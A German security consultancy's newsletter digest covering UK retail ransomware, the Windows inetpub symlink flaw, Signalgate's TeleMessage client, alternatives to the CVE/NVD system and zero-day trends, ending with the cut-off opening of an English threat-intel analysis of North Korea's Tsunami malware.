High-Street Retailer im Ziel von Ransomware-Gruppen

Anfang des Monats kam es zu einer Reihe von Vorfällen bei bekannten Einzelhandelsunternehmen aus UK. Co-op Group, Marks and Spencer und Harrods berichteten von Angriffen, die – außer bei Harrods – für lange Ausfälle und vermutliche Datenexfiltration sorgten. Die als Dragonforce bekannte Gruppe bekannte sich zu den Angriffen und kündigte weitere an.

Besonders spannend an den Vorfällen sind die verschiedenen Vorgehensweisen, wie die Unternehmen einerseits technisch reagieren, aber insbesondere auch die Krisenkommunikation vornehmen. Aufgrund der mittlerweile weit verbreiteten Erkenntnis, dass Angriffe auf die IT-Infrastruktur durchaus mal vorkommen, haben wir in Vorfällen die Erfahrung gemacht, dass Transparenz grundsätzlich eine solide Basis der Kommunikation darstellt. Kunden und Dienstleister fühlen sich so direkt involviert und müssen keine Vermutungen anstellen. Darüber hinaus behält man auch nach außen hin die Kontrolle über die Diskussion und kann Neuigkeiten direkt steuern.

Eine weitere Überlegung in diesem Vorfall ist die oft gestellte Frage, ob man in diesen Situationen zahlen sollte oder nicht. Es verbleibt zwar stets eine Einzelfallentscheidung, die je nach Umgebung einzuordnen ist, aber grundsätzlich gibt es viele Nachteile nach einem Bezahlen. Dazu können wir den Artikel von @GossiTheDog@cyberplace.social empfehlen. Die wichtige Erkenntnis: Die Behandlung eines Vorfalles wird durch eine Bezahlung nicht unbedingt schneller. Vorfälle dieses Ausmaßes werden noch Wochen oder Monate später behandelt, und mit dem Bezahlen steht auch die Umgebung nicht plötzlich wieder.

Ebenfalls ist es nicht zu empfehlen, wiederhergestellte Systeme einfach wieder in Betrieb zu nehmen. Oft wird die Umgebung komplett neu aufgebaut, und es findet lediglich eine Datenmigration statt, die aber auch wieder Arbeit und Organisation erfordert. Für diese Fälle zeigt die Praxis, dass sich eine Vorbereitung in Form eines Wiederanlaufplanes sehr nützlich macht. Dabei können bereits einfache Überlegungen zu kritischen Prozessen und ihren technischen Abhängigkeiten dazu beitragen, im Krisenfall besser reagieren zu können.

https://doublepulsar.com/big-game-ransomware-the-myths-experts-tell-board-members-03d5e1d1c4b7

Weitere News im Juni

Weitere News im Juni

Unser Top-Thema im Juni: High-Street Retailer im Ziel von Ransomware-Gruppen

Sicherheitslücke durch inetpub: Wie ein gelöschter Ordner Windows verwundbar macht

Im April 2025 sorgte ein unscheinbarer Ordner namens inetpub auf Windows-Systemen für Aufsehen – und für ein ernstzunehmendes Sicherheitsproblem. Was zunächst wie ein harmloses Überbleibsel aus alten IIS-Zeiten wirkte, entpuppte sich als kritischer Bestandteil eines Sicherheitsupdates und als potenzielles Einfallstor für Angreifende.

Was ist passiert?

Mit dem April-Patchday legte Microsoft auf Windows 10- und 11-Systemen automatisch den Ordner C:\inetpub an. Dieser sollte laut Microsoft helfen, die Sicherheitslücke CVE-2025-21204 (Base Score: 7,8 von 10) zu entschärfen, die mit symbolischen Links (Symlinks) zusammenhängt. Dokumentation dazu fehlte zunächst – viele Nutzende hielten den Ordner für überflüssig und löschten ihn kurzerhand.

Das eigentliche Problem

Genau hier beginnt das Sicherheitsdilemma: Wenn der Ordner gelöscht wird, können zukünftige Windows-Updates fehlschlagen. Für die Ausnutzung dieser Sicherheitslücke ist kein ausgefeilter Angriff nötig. Es muss lediglich ein symbolischer Link von „inetpub” zu einer anderen Datei erstellt werden. Das System bleibt dann auf einem unsicheren Stand.

Microsofts Reaktion

Nachdem Sicherheitsforscher Kevin Beaumont auf das Problem aufmerksam gemacht hatte, veröffentlichte Microsoft ein PowerShell-Skript namens Set-InetpubFolderAcl.ps1. Dieses stellt den Ordner wieder her und setzt die korrekten Zugriffsrechte. Das Skript prüft auch, ob der Ordner manipuliert wurde und verhindert so weitere Missbrauchsmöglichkeiten.

Fazit: Ein Lehrstück in Kommunikation und Sicherheit

Der Fall zeigt, wie wichtig klare Kommunikation bei sicherheitsrelevanten Änderungen ist. Ein leerer Ordner mag harmlos wirken, doch in diesem Fall war er ein zentraler Bestandteil eines Sicherheitsmechanismus. Wer ihn entfernte oder manipulierte, öffnete sein System ungewollt für Angriffe.

Nutzende sollten prüfen, ob der Ordner inetpub vorhanden ist und ggf. das Microsoft-Skript ausführen, um die Sicherheit des Systems wiederherzustellen.

https://doublepulsar.com/microsofts-patch-for-cve-2025-21204-symlink-vulnerability-introduces-another-symlink-vulnerability-9ea085537741

https://www.heise.de/news/Microsoft-Abhilfe-fuer-Sicherheitsluecke-durch-geloeschte-inetpub-Ordner-10437103.html

https://www.golem.de/news/windows-10-und-11-mysterium-um-inetpub-ordner-teilweise-aufgeloest-2504-195313.html

https://www.golem.de/news/windows-leerer-inetpub-ordner-schafft-ein-neues-sicherheitsproblem-2504-195563.html

https://www.chip.de/news/Wie-ein-leerer-Ordner-fuer-Windows-zum-Sicherheitsproblem-wird_185936620.html

https://www.borncity.com/blog/2025/06/07/microsoft-veroeffentlicht-script-um-inetpub-neu-anzulegen/

https://nvd.nist.gov/vuln/detail/cve-2025-21204

TM SGNL – (k)eine Signal-Alternative

Wir erinnern uns an die als Signalgate bekannt gewordene Affäre zu geleakten klassifizierten Informationen über einen Signal-Chat. Wie sich nun herausstellt, nutzten die Angehörigen der US-Regierung nicht den offiziellen Signal-Client, sondern eine abgeänderte Version von TeleMessage, einem israelischen Unternehmen. Diese Version von Signal ermöglichte aufgrund eines trivialen Fehlers den Zugriff auf Chats. @micahflee@infosec.exchange und @ljrk@todon.eu haben interessante Details gefunden.

Für alle Kryptografie-Interessierten empfehlen wir den Blog von @soatok@furry.engineer zu dem Thema, in dem zu lesen ist, was eine Signal-Alternative zu erfüllen hat (und warum die meisten Messenger bereits dort scheitern).

Windows RDP-Cache – Wenn der Cache länger hält, als er soll

Windows RDP-Caches erlauben Log-ins mit alten Credentials, die bereits rotiert wurden. Microsoft behauptet allerdings, dass dies ein Feature sei, damit man sich nicht aussperrt. Die IT-Sicherheits-Szene reagierte irritiert. Es empfiehlt sich, einen Blick auf die eigenen Konfigurationen dazu zu werfen.

https://arstechnica.com/security/2025/04/windows-rdp-lets-you-log-in-using-revoked-passwords-microsoft-is-ok-with-that

Kritische Schwachstelle in WooCommerce Wishlist lange Zeit ohne Patch

In den WordPress-Fällen der letzten Monate ist uns das Modul WooCommerce öfter aufgefallen. Nun stellte sich heraus: Bereits im März wurde eine kritische Lücke (CVE-2025-47577) dem Hersteller gemeldet, worauf dieser aber nicht reagierte. Bei der Lücke handelt es sich um ein „pre-Auth RCE“, also die Möglichkeit zur Ausführung von Schadcode ohne vorhergehende gültige Benutzeranmeldung. Die technischen Details sind im verlinkten Artikel einsehbar.

Dieser Vorfall sollte die Wichtigkeit von Supply-Chains und weiterführenden Mitigationsmaßnahmen neben dem Patchen klar machen, denn manchmal steht kein Patch zur Verfügung.

https://patchstack.com/articles/unpatched-critical-vulnerability-in-ti-woocommerce-wishlist-plugin

Weitere News im Mai

Unser Top-Thema im Mai: Woher kommen eigentlich Zero-Days?

Google M-Trends 2025 – Neues aus der IR-Welt

Google bzw. sein Tochterunternehmen Mandiant berichtet im aktuellen M-Trends-Report von ihren Erkenntnissen zu aktuellen Themen aus der Incident Response. @GossiTheDog@cyberplace.social, eine bekannte Persönlichkeit aus der IT-Sicherheitsszene, hat ebenfalls seine Einschätzung zu dem Thema in einem „Toot“ im sozialen Netzwerk Mastodon veröffentlicht. Diese ist nicht nur spannend für IR-Bereiche, sondern auch für Unternehmen, die sich schützen möchten: Ausgenutzte Schwachstellen kommen hauptsächlich in Cybersecurity-Produkten vor, meist innerhalb von Firewalls. Bei der Bewertung sollte jedoch auch berücksichtigt werden: Firewalls werden auch deshalb häufig angegriffen, weil sie die erste Kontaktstelle nach außen sind. 

Es geht ebenfalls um viele weitere Themen, weswegen wir empfehlen, auf jeden Fall einen Blick in den Report zu werfen. Wir freuen uns, die Erkenntnisse mit Ihnen auf Mastodon einzuordnen und zu diskutieren!

https://services.google.com/fh/files/misc/m-trends-2025-en.pdf

ActiveX ist endlich weg – also fast

Microsoft hat in den letzten Jahren immer wieder Features standardmäßig deaktiviert, die gerne durch Angreifende genutzt werden (wir erinnern uns an XLM-Macros und VBScript). Nun beglückt uns Redmond erneut mit einer schon lange erwarteten Nachricht: ActiveX wird in M365 und Office 2024 deaktiviert –  zumindest im Standard, eine Reaktivierung ist noch möglich.

Wir können der Empfehlung von Microsoft nur beipflichten.

https://www.bleepingcomputer.com/news/microsoft/microsoft-blocks-activex-by-default-in-microsoft-365-office-2024

Windows Server kann jetzt Hotpatching

Microsoft hat einen weiteren interessanten Service angekündigt: Hotpatching. Dabei werden acht der 12 monatlichen Patches so installiert, dass die Änderungen im Hauptspeicher angewandt werden, ohne dass ein Reboot des Systems notwendig ist. Ob dies die damit verbundenen Kosten von 1,50 € pro CPU und Monat wert ist, muss man im Einzelfall entscheiden.

Microsoft.com

Woher kommen eigentlich Zero-Days?

Woher kommen eigentlich Zero-Days?

Nachtrag (2025-05-16): Nach Hinweisen einiger Lesender haben wir die Definition von Zero-Days am Anfang des Artikels angepasst. Vorher benannten wir Zero-Days als „Lücken, die am heutigen Tage bekannt werden“. Dies sorgte daraufhin intern für eine (akademische) Diskussion zu dem Thema, die allerdings am Ziel des Beitrages vorbei ging. Insbesondere war dies verwirrend im Kontext des referenzierten Beitrages der GTIG, deren Definition wir in der aktuellen Version übernommen haben. Vielen Dank für die Hinweise!

Sicherheitslücken ohne verfügbaren Patch oder Mitigation, die bereits ausgenutzt werden, nennt man Zero-Days. Besonders interessant sind diese Lücken offensichtlich für Angreifende, wenngleich auch Admins Diese im Blick behalten sollten. Aber wer findet eigentlich Zero-Days?

Ein prominenter Player in dem Bereich ist die Google Threat Intelligence Group (GTIG). Im Jahresbericht zu 2024 zieht sie Bilanz zu Zero-Day-Aktivität und -Attribution und was man daraus lernen kann. Neben einigen durchaus spannenden Zahlen zum Thema „ausgenutzte Systeme“ war für uns vor allem der Absatz zu Attribution relevant. Solche Zahlen sind zwar grundsätzlich mit Vorsicht zu genießen, da eine direkte Zuordnung oft sehr schwierig ist. Die GTIG hat „nur“ 34 der 75 erkannten Zero-Days attributiert. Wenn man die Methodik akzeptiert, dann ordnet sie 15 Ausnutzungen staatlichen Akteuren zu. Weitere acht wurden durch kommerzielle Anbieter, wie z. B. Cellebrite, genutzt.

Da auch diese Händler oftmals für staatliche Akteure tätig sind, kann man einen beunruhigenden Trend erkennen: Die Ausnutzung von Zero-Days wird vermehrt durch staatliche Akteure gesteuert und finanziert, also auch direkt durch Steuergeld.

https://www.heise.de/news/Steuergeld-finanziert-Angriffe-mit-Zerodays-10367137.html

https://cloud.google.com/blog/topics/threat-intelligence/2024-zero-day-trends?hl=en

Hier gibt es weitere News aus dem Mai

Drohende Abschaltung der CVE-Datenbank und mögliche Alternativen

Kurz vor Ostern schreckte eine Nachricht des CVE-Teams die Sicherheitswelt auf. Die Finanzierung des CVE-Programms stand auf der Kippe und im Extremfall wäre einen Tag später bereits Schluss gewesen. Der Aufschrei war zu Recht groß und so konnte der Betreiber MITRE eine Vertragsverlängerung bis Anfang nächsten Jahres erreichen. Aber was kommt dann?  

In diesem Blogpost wollen wir mit etwas Abstand zu den Ereignissen zusammenfassen, welche Alternativen in der Diskussion um eine mögliche CVE-Abschaltung oft genannt wurden und ob sie tatsächlich in die Fußstapfen von CVE treten könnten.  

Anwendungsfälle

Zuerst wollen wir uns kurz anschauen, wo wir und viele unserer Kunden Berührungspunkte mit CVE haben. Es gibt darüber hinaus weitere Anwendungsfälle, aber für diese häufigen Nutzungen wollen wir uns im Folgenden die Alternativen anschauen. 

Risikomanagement im ISMS 

Beim Thema Informationssicherheit denken viele Laien als Erstes an die Sicherheitsupdates, die ihre Geräte regelmäßig von ihnen fordern. Im professionellen ISMS kommt noch dazu, dass einige Updates nur mit einer Betriebsunterbrechung eingespielt werden können oder unerwünschte Nebenwirkungen haben. Es muss also eine bewusste Entscheidung zwischen dem neu hinzugekommenen Sicherheitsrisiko und den betrieblichen Einschränkungen getroffen werden. Wenn eine Sicherheitslücke bereits bekannt ist, aber noch kein Patch verfügbar ist, wird die Entscheidung zwischen Abschalten und Risikoakzeptanz noch herausfordernder. 

Die reinen CVE-Nummern können in dem Anwendungsfall bei der weitergehenden Recherche helfen oder teilweise den Abgleich von verschiedenen Prüfformen ermöglichen (z.B. ob die im Pentest erkannten Lücken, bereits aus einem anderen Audit adressiert werden). 

Meist nutzt man jedoch auf CVE-basierte Datenbanken wie die National Vulnerability Database (NVD) der US-Regierung oder Ableitungen davon, die bereits eine allgemeine Risikobewertung mitbringen. Damit können bereits erkannte Risiken schneller und ressourcensparsam vorbewertet werden. Das konkrete Risiko für die jeweilige Betriebssituation muss man dennoch individuell bewerten (z.B. ob die betroffene Funktion überhaupt genutzt wird). 

Außerdem nutzen viele Informationsdienste und Vulnerability-Management-Tools CVE-basierte Datenbanken, um auf neu bekanntgewordene Schwachstellen hinzuweisen. Im besten Fall wählt man als Betreiber alle genutzten Softwareprodukte aus und wird dann aktiv auf neue Schwachstellen hingewiesen. 

Schwachstellenscan für Container 

Für Betreiber von containerisierten Services ist das Scannen von Containern bzw. Container-Scanning ist ein weiterer Anwendungsfall für die Nutzung von CVEs.  

Dabei werden Container-Images auf Sicherheitslücken überprüft. Zuerst wird analysiert, welche OS-Pakete, Dependencies und weitere Software in dem zu scannenden Image benutzt werden, z.B. openssl. Anschließend werden die Findings (Name der Komponente sowie Versionsnummer/-stand) mit den gängigen CVE-basierten Datenbanken wie NVD abgeglichen. Sollten bekannte Schwachstellen identifiziert werden, wird dies an das Scanning-Tool zurückgemeldet und das Tool erstellt auf Basis dieser Informationen einen Bericht. 

Der Bericht enthält dann. welche CVE gefunden wurde, wie schwerwiegend diese ist bzw. wie hoch ihr CVSS-Score ist, wo im Image die Schwachstelle gefunden wurde, und es werden in den meisten Fällen auch direkt Mitigationsmaßnahmen empfohlen. Diese Maßnahmen beziehen sich entweder auf ein Update/Upgrade der verwendeten Version auf die nächste sichere Version oder auf geeignete Konfigurationen, um die Sicherheitslücke zu schließen. 

Gängige Tools, die man für Scanning verwenden kann, sind u.a. die OpenSource Tools Trivy sowie Clair. Kommerzielle Tools, die z.B. auch einen erweiterten Support zur Verfügung stellen können oder weitere Funktionen haben, sind Snyk sowie JFrog.

Verwendet man Container-Scanning in seiner Infrastruktur, hat man den großen Vorteil, dass Schwachstellen noch vor dem Deployment entdeckt werden können. Auch ist das Container-Scanning in CI/CD-Pipelines automatisierbar und bietet so eine weitere Dosis Sicherheit

Software Supply Chain 

Nicht nur Betreiber, sondern auch Softwareanbieter benötigen ein Risikomanagement. Sicherheitsrelevante Fehler in genutzten Komponenten, Bibliotheken und Hilfstools können sich auch auf die ausgelieferte Software übertragen. Angriffe, die gezielt auf diese Vererbung der Sicherheitslücken abzielen, werden Software-Supply-Chain-Angriff genannt. 

Die reinen CVE-Nummern helfen den Softwareanbietern bei der Kommunikation. In ihren Release-Notes können sie ihren Kunden eindeutig aufzeigen, welche Schwachstellen (eigene und von Drittkomponenten geerbte) beseitigt wurden. Die Kunden können die Information dann mit ihrem eigenen Risikomanagement aus Betriebssicht abgleichen. Die CVE-Nummer kann aber auch gut genutzt werden, um aufzuzeigen, dass die eigene Software von einer konkreten Lücke nicht betroffen ist. So forderten beispielsweise bei der Log4Shell-Schwachstelle in der Log4j-Bibliothek viele große IT-Organisationen von ihren Zulieferern Negativbescheide, dass ihre Produkte von dieser Lücke nicht betroffen waren. 

Ähnlich wie die Scanner für Container gibt es auch Scantools, die über die Versionsstände von eingebundenen Dependencies ermitteln, ob eine neue Schwachstelle bekannt wurde. Nutzt man zum Verwalten der Abhängigkeiten einen Registry-basierten Ansatz (z.B. mit NPM), erhält man so leicht die notwendigen Informationen. Für händisch hinzugefügte Abhängigkeiten (z.B. JAR-Archiv, Binärbibliothek, JavaScript) gibt es ebenfalls Scanner, die teilweise Heuristiken einsetzen müssen, um den eindeutigen Namen der Bibliothek und die Versionsnummer zu bestimmen (z.B. RetireJS, Trivy). 

Exploits/Lücken nachvollziehen im Pentest / in der Incident Response 

Im Bereich von Penetrationstests, technischen Audits und Incident Response werden CVEs regelmäßig verwendet. Durch die eindeutige Benennung sprechen sowohl Kunden als auch Sicherheitsberatende über dieselbe Sicherheitslücke. Kunden erlaubt dies beispielsweise einfacher einzuschätzen, in welchen Versionen eine Sicherheitslücke eines eingesetzten Systemes vom Hersteller behoben wurde, da Changelogs der Hersteller und externe Quellen die CVEs zu betroffenen Versionen mappen. 

Ebenso werden anhand der CVE z.B. weiterführende Recherchen, sei es über Suchmaschinen, auf GitHub oder in dedizierten Vulnerability Databases, erleichtert. Es kann z.B. besser eingeschätzt werden, ob bereits öffentlich verfügbare Write-Ups, Exploits oder Proof-of-Concept Code existiert, der durch Angreifende verwendet werden kann. Im Incident Response kann dies als Indiz für die Ausgereiftheit der Angreifenden herangezogen werden. 

Gefundene Schwachstelle melden 

Bei der Meldung von Schwachstellen wird die gefundene Sicherheitslücke im Rahmen von Responsible Disclosure häufig bei einer CVE Numbering Authority (CNA) eingereicht, um für diese Lücke eine CVE zugewiesen zu bekommen. Da während des Prozesses der Meldung viele Parteien beteiligt sein können, z.B. die Entdeckenden der Lücke, die Herstellenden des Systems, die Personen, die das System einsetzen, oder auch Vermittelnde wie ein CERT, soll eine CVE dabei sicherstellen, dass von der gleichen Lücke gesprochen wird. Außerdem können alle Beteiligten den Fortschritt während des Prozesses der Responsible Disclosure effektiver verfolgen. Nach der Behebung einer Sicherheitslücke erlaubt eine veröffentlichte CVE der Öffentlichkeit, z.B. betroffenen Firmen, den Einfluss der Sicherheitslücke auf die eigenen Systeme zu beurteilen und ggf. Maßnahmen zu ergreifen. 

Alternativen 

Für diese Anwendungsfälle wollen wir uns jetzt mögliche Alternativen anschauen. Wir haben dabei die Ansätze ausgewählt, die in den Tagen um die drohende CVE-Abschaltung am breitesten diskutiert wurden. Einige der Ansätze sind aktuell noch nicht praktisch nutzbar oder zielen auch auf ein ganz anderes Anwendungsfeld ab. Wenn sie dennoch in der Diskussion Raum eingenommen haben, haben wir sie hier aufgegriffen. 

Das Original: MITRE CVE 

Betrieben von der Non-Government-Organization (NGO) MITRE Corporation, gilt das Common Vulnerabilities and Exposures (CVE) System als die Referenz in der Welt der IT-Sicherheit für Sicherheitslücken und Schwachstellen. Durch die Vereinheitlichung der Nummerierung von Sicherheitslücken ist jederzeit eindeutig, auf welcher Sicherheitslücke man sich bezieht.  

Dadurch ist das Kürzel “CVE” für einige auch schon zum Synonym für “Sicherheitslücke” geworden und wird meist auch mit den detaillierten Einträgen in CVE-basierten Datenbanken wie der NVD gleichgesetzt. Die CVE-Datenbank selbst enthält allerdings nur sehr wenige Informationen zur Lücke. Grundsätzlich gerade so viele Informationen, um die Lücke wiedererkennen zu können. Das Datenbankformat erlaubt auch Risikoeinschätzungen und andere Informationen, diese sind aber optional.  

Besondere Aufmerksamkeit bekam dieses System, nachdem die US-Regierung unter Trump im April 2025 die Finanzierung stoppte. Dieses System wird vom US-Heimschatzuministerium (DHS) sowie der untergeordneten Cybersecurity and Infrastructure Security Agency (CISA) unterstützt. Durch das Ziehen einer Optionsklausel im Vertrag der Förderung durch die US-Regierung, bleibt das MITRE CVE System bis 16.03.2026 am Start. Was danach passiert, kann niemand abschätzen. 

Dadurch, dass dieses System seit 1999 im Einsatz ist, hat es sich zum Standard entwickelt. Es ist daher die derzeit aktuellste, kompatibelste und vollständigste Lösung. 

Neu aufgedeckte Schwachstellen werden von den CVE Numbering Authorities (CNA) eingepflegt, nummeriert und verwaltet. Die Meldung erfolgt u.a. über ein eigenes Portal. Es können jedoch auch vorgefertigte sowie selbst programmierte Clients verwendet werden. Eine CVE kann bereits vor der Veröffentlichung beantragt werden, und für die Zuweisung erfolgt meist nur eine grobe Prüfung. Eine zugewiesene CVE bedeutet also nicht automatisch, dass ein tatsächliches Risiko besteht. Zu vielen CVEs werden keine Lücken veröffentlicht – so wurden z.B. 2023 ca. 40.000 CVEs reserviert, aber nur ca. 29.000 veröffentlicht. 

Die reinen CVE-Nummern bilden nur einen Teil der Anwendungsfälle ab, insbesondere liefern sie nicht unbedingt eine Risikobewertung. Sie bilden aber die Basis für viele darauf aufbauende Datenbanken wie die NVD. 

Wird oft mit CVE verwechselt: NIST National Vulnerability Database (NVD) 

Die National Vulnerability Database (NVD) wird von der US-Behörde NIST betrieben und oft mit CVE verwechselt. Beide sind auch eng miteinander verknüpft – für jede CVE im Zustand “veröffentlicht” wird automatisch ein Eintrag in der NVD erzeugt. Während die CVE-Datenbank nur rudimentäre Informationen zur Lücke enthält, wird der Eintrag in der NVD noch um weitere Informationen wie einen Risikoscore nach dem Industriestandard Common Vulnerability Scoring System (CVSS) oder Links zu weiteren Informationen ergänzt. 

Diese Informationen werden teilweise manuell ergänzt. Im Frühjahr 2024 kam es dabei zu einer Überlastung des zuständigen Teams, und es wurden für mehrere Monate keine Ergänzungen insbesondere auch keine Risikobewertungen eingepflegt. Durch den Einsatz von externen Partnern konnte der Stau aufgelöst und das System resilienter gemacht werden, aber wie bei CVE zeigt der Vorfall, wie stark die NVD vom amerikanischen Bundeshaushalt abhängt. 

Die NVD-Daten stehen auch als strukturierte Daten im Security Content Automation Protocol (SCAP) Format zur Verfügung und können ohne Einschränkungen verwendet werden. Daher setzen viele Tools und auch Schwachstellen-Webseiten die NVD-Daten direkt ein oder nutzen sie als Basisdatensatz, der durch eigene Erkenntnisse ergänzt wird. Da die NVD nicht zwingend genannt werden muss, ist der Zusammenhang nicht immer direkt erkennbar. 

Fast alle unserer Anwendungsfälle kann die NVD bedienen. Lediglich neue Lücken können nicht direkt bei der NVD gemeldet werden – hier muss eine CVE beantragt werden und damit entsteht automatisch auch der NVD-Eintrag. 

CVE Foundation 

Die Meldung, dass die US-Regierung die Förderung von MITRE CVE einstellen will, sorgte berechtigterweise für eine Menge Wirbel in der globalen Cybersecurity Szene. Angetrieben durch dieses Ereignis sowie dem schon länger existierenden Wunsch noch neutraler und nachhaltiger auftreten zu können (und nicht an eine Regierung gebunden zu sein) entschieden sich diverse Vorstandsmitglieder des CVE-Systems ihre eigene (non-profit) Stiftung zu gründen, um die Finanzierung des MITRE Programms zu realisieren. 

Die CVE Foundation ist daher keine Alternative zu bestehenden Programmen und will es nach unserem Kenntnisstand auch gar nicht werden. Aktuell befindet sich die Stiftung noch im Aufbau – Informationen dazu wie es weitergeht und was die nächsten Schritte sein werden, sind daher rar. In ihren eigenen FAQs werden lediglich einige Fragen zum Auftrag sowie einige der baldigen Vorstände benannt. 

Unsere Anwendungsfälle wären bei einer CVE-Stiftung genauso abgedeckt wie bisher. Wenn die Stiftung die bestehende Datenbank und Nummerierung übernehmen würde, gäbe es auch keinen Umstellungsaufwand. 

Common Security Advisory Framework (CSAF)

Ein weiterer Name, der in diesen Zusammenhängen immer wieder genannt wurde, ist das Common Security Advisory Framework (CSAF). Dahinter verbirgt sich eine technische Spezifikation für einen verteilten Ansatz. Eine vertrauenswürdige Instanz wie aktuell beispielsweise das Bundesamt für Sicherheit in der Informationstechnik (BSI) pflegt eine Liste von Organisationen, die Sicherheitslücken dokumentieren. Diese wiederum veröffentlichen die Sicherheitslücken in einem strukturierten Format (JSON). 

Laut der eigenen FAQ sieht sich CSAF nicht als CVE-Ersatz. Der Standard bietet ein optionales Feld für die CVE-Nummer an, und in der Technischen Richtlinie TR-03191 des BSI ist die CVE-Nummer sogar verpflichtend. In CSAF geht es eher um die Details zu jeder Lücke, man kann CSAF also eher als eine dezentrale Alternative zur NVD-Datenbank betrachten. 

Die Anwendungsfälle, in denen die Eindeutigkeit der CVE-Nummer im Vordergrund steht – z.B. als Ordnungsmerkmal im Risikomanagement oder als eindeutige Kennung in der Software Supply Chain – können von CSAF nicht abgebildet werden. CSAF-Dokumente haben zwar eindeutige Kennungen, aber zwei Dokumente können sich auf die gleiche Lücke beziehen. 

Als Informationsbasis und insbesondere als Datenbasis für Scan-Tools eignen sich die CSAF-Dokumente dagegen gut. Die CSAF-Seite verzeichnet direkt einige passende Tools. Es gibt jedoch keinen Automatismus wie bei der NVD, der für jede veröffentlichte CVE zumindest einen rudimentären Eintrag erzeugt. 

Global CVE Allocation System (GCVE)

Das Global CVE Allocation System (GCVE) ist ein neuer Ansatz vom Computer Incident Response Center Luxembourg (CIRCL), bei dem statt einer zentralen Instanz wie MITRE die Vergabe von IDs für Sicherheitslücken dezentral stattfinden soll. Zwar gibt es im traditionellen CVE-System auch verschiedene Vergabestellen für CVEs – sogenannte CVE Numbering Authorities (CNAs) – jedoch müssen die Vorgaben von MITRE eingehalten werden, und die Vergabe von eindeutigen IDs wird durch die zentrale Instanz gesteuert. Im GCVE wird die ID dazu im Format „GCVE-<GNA ID>-<YEAR>-<UNIQUE ID>“ vergeben. Jeder teilnehmenden Organisation wird eine sogenannte GNA ID zugeteilt, sodass die Organisationen ihren eigenen ID-Bereich unabhängig vergeben können, ohne Überschneidungen hervorzurufen. Es bleibt abzuwarten, ob die Anzahl der aktuell acht teilnehmenden Organisationen steigt und sich auch bekannte Größen dem im Aufbau befindlichen System anschließen. 

Für die oben definierten Anwendungsfälle ist es aktuell kaum nutzbar. Nur die vom CIRCL betriebene Datenbank Vulnerability Lookup benutzt derzeit das Schema.  

Da die Teilbereiche unabhängig verwaltet werden, wird es Lücken geben, die mehrere GCVE-Nummern von unterschiedlichen GNA erhalten werden. Die GCVE eignet sich dann nicht als eindeutiges Ordnungsmerkmal im Risikomanagement oder in der Software Supply Chain. 

European Vulnerability Database (EUVD) 

Eigentlich noch im Probebetrieb wurde die europäische Antwort auf die NVD im Zuge der drohenden CVE-Abschaltung kurzerhand öffentlich verfügbar gemacht. Die Datenbank ist noch in der Beta-Phase und soll vor allem die Korrelation aus verschiedenen Datenquellen ermöglichen.  

Da so auch Sicherheitslücken aufgenommen werden, die nicht bei der CVE gemeldet wurden, vergibt die European Network and Information Security Agency (ENISA) eigene Nummern, die mit EUVD starten. Aktuell ist das System auf eine Ko-Existenz und eine Abbildung auf CVEs ausgelegt, könnte aber bei einer CVE-Abschaltung auch problemlos weiterbetrieben werden. 

Während einzelne neuere Einträge bereits sehr viele Informationen aufweisen, konnten wir in Stichproben immer wieder Einträge finden, die entweder nur die Basis-Daten aus der CVE-Datenbank enthielten oder die im Vergleich zum korrespondierenden NVD-Eintrag viel weniger Details hatten. 

Die EUVD ist so ausgelegt, dass alle unsere oben beschriebenen Anwendungsfälle langfristig bedient werden können. Aktuell ist die Datenqualität noch nicht vergleichbar mit der NVD, und nur wenige Tools nutzen die EUVD als Datenbasis. Beides kann sich aber mit der Zeit noch ändern.  

Ob die EUVD-Nummern die etablierten CVE-Nummern als eindeutige Kennung ersetzen können, ist noch offen. Da die EUVD Teil der NIS2-Richtlinie der EU ist und von den europäischen Informationssicherheitsbehörden gemeinsam genutzt wird, stehen die Chancen aber zumindest für Europa nicht schlecht. 

Single Reporting Platform (SRP) des europäischen Cyber Resilience Act (CRA) 

Neben der NIS-2-Richtlinie, die vor allem auf den sicheren IT-Betrieb abzielt, macht die EU im Cyber Resilience Act (CRA) Informationssicherheitsvorgaben für Produkte. Darin sind auch Vorgaben wie Schwachstellen veröffentlicht werden sollen und welche Meldewege die Hersteller ermöglichen müssen. 

Eine neue geschaffene Single Reporting Platform (SRP) soll dabei eine zentrale Rolle spielen. Die Erstellung der Plattform wird gerade ausgeschrieben. Daher kann es noch keine konkrete Einschätzung geben, wie sich die SRP auf die Anwendungsfälle auswirkt. Bisher bekannt ist lediglich die Arbeitsteilung zwischen SRP und EUVD: Während die SRP auch unveröffentlichte Schwachstellen für einen beschränkten Empfängerkreis bereitstellen soll, sollen veröffentlichte Schwachstellen aus der SRP direkt in die EUVD aufgenommen werden. 

Was müssen Anwender jetzt tun? 

Bis März 2026 kann erstmal alles wie bisher bleiben. Es ist jedoch ratsam, sich bereits auf mögliche Alternativszenarien nach dem Datum vorzubereiten. 

Für die Nutzung der CVE als eindeutige Kennung (im Risikomanagement, als Hersteller, als Entdecker), kann man bereits jetzt anfangen, zusätzlich eine der alternativen Kennungen wie die EUVD-Nummer zu dokumentieren. Idealerweise spricht man mit Kunden und Lieferanten über die Alternativen und findet vielleicht eine gemeinsame Alternative. 

Bei den Scan-Tools und Informationsdiensten (fürs ISMS, Container, Software) sollte man rechtzeitig prüfen, auf welchen Daten sie basieren. Nutzen sie einfach die NVD oder binden sie bereits heute verschiedene Datenbanken (die nicht nur Kopien der NVD sind) an? Möglicherweise müssen Tools und damit die daran hängenden Prozesse ausgetauscht werden, um mehr Datenquellen nutzen zu können. 

Rolling in the Deep(Web): Lazarus Tsunami

Summary

When HiSolutions investigated cryptocurrency theft in a software developers environment in fall
2024, the initial access vector and first stages of malware-deployment were identical to the
ongoing „Contagious Interview“-Campaign linked to North Korea.
During our analysis we were able to identify a more comprehensive sample of the Tsunami-Framework, a Malware relying on the TOR-Network and Pastebin (a SaaS) for command and control
Tsunami has a modular structure, incorporates multiple stealers and deploys two cryptominers. It has
first been identified by Luca Di Domenico and Alessio Di Santo.

Key Takeaways

  • The „Contagious Interview“-Campaign is ongoing and responsible for the theft of common and less common crypto-currencies.
  • The Threat Actor (TA) actively develops new tooling and uses Pastebin-Accounts and TOR .onion-Domains for C2.
  • The identified Tsunami-Malware is in active development and incorporates multiple crypto miners and credential stealers.

Analysis

When we first observed the Tsunami-Framework in an incident, it achieved initial access through
chainloading a malicious BeaverTail-Payload (loader) from the third-party domain “api.npoint.io”
through a private GitHub-Repository. When executed, the loader deploys the InvisibleFerret
Malware
, as is publicly known from other cases.

Our analysis of the InvisibleFerret file “.n2\bow” identified that the Framework used a Python-
Launcher with the essential parameter configuration below. Examining the variables and their
